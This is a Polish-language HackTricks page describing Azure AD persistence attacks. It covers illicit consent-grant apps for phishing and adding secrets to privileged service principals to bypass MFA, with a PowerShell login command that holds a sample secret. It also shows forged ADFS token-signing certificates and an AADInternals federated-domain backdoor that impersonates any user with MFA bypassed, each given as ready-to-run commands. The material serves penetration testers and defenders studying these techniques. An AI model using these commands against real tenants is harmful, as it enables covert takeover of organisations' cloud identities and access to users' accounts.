Az - Persistence

Wesprzyj HackTricks

Nielegalne Udzielenie Zgody

Domyślnie każdy użytkownik może zarejestrować aplikację w Azure AD. Możesz zarejestrować aplikację (tylko dla docelowego najemcy), która wymaga uprawnień o wysokim wpływie z zgodą administratora (zatwierdź ją, jeśli jesteś administratorem) - na przykład wysyłanie wiadomości w imieniu użytkownika, zarządzanie rolami itp. To pozwoli nam przeprowadzić ataki phishingowe, które byłyby bardzo owocne w przypadku sukcesu.

Co więcej, możesz także zaakceptować tę aplikację za pomocą swojego użytkownika jako sposób na utrzymanie dostępu do niej.

Aplikacje i Podmioty Usług

Dzięki uprawnieniom Administratora aplikacji, GA lub niestandardowej roli z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji.

Możliwe jest celowanie w aplikację z wysokimi uprawnieniami lub dodanie nowej aplikacji z wysokimi uprawnieniami.

Interesującą rolą do dodania do aplikacji byłaby Rola administratora autoryzacji uprzywilejowanej, ponieważ pozwala ona na zresetowanie hasła Globalnych Administratorów.

Ta technika również pozwala na obejście MFA.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Dla uwierzytelniania opartego na certyfikatach

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federacja - Certyfikat podpisywania tokenów

Mając uprawnienia DA w lokalnym AD, można utworzyć i zaimportować nowe certyfikaty podpisywania tokenów oraz certyfikaty deszyfrowania tokenów, które mają bardzo długą ważność. Pozwoli nam to zalogować się jako dowolny użytkownik, którego ImmutableID znamy.

Uruchom poniższą komendę jako DA na serwerach ADFS, aby utworzyć nowe certyfikaty (domyślne hasło to 'AADInternals'), dodać je do ADFS, wyłączyć automatyczne odnawianie i zrestartować usługę:

New-AADIntADFSSelfSignedCertificates

Następnie zaktualizuj informacje o certyfikacie za pomocą Azure AD:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federacja - Zaufana domena

Posiadając uprawnienia GA w dzierżawie, można dodać nową domenę (musi zostać zweryfikowana), skonfigurować jej typ uwierzytelniania na Federated oraz skonfigurować domenę do zaufania określonemu certyfikatowi (any.sts w poniższej komendzie) i wydawcy:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Odnośniki

Wesprzyj HackTricks

Last updated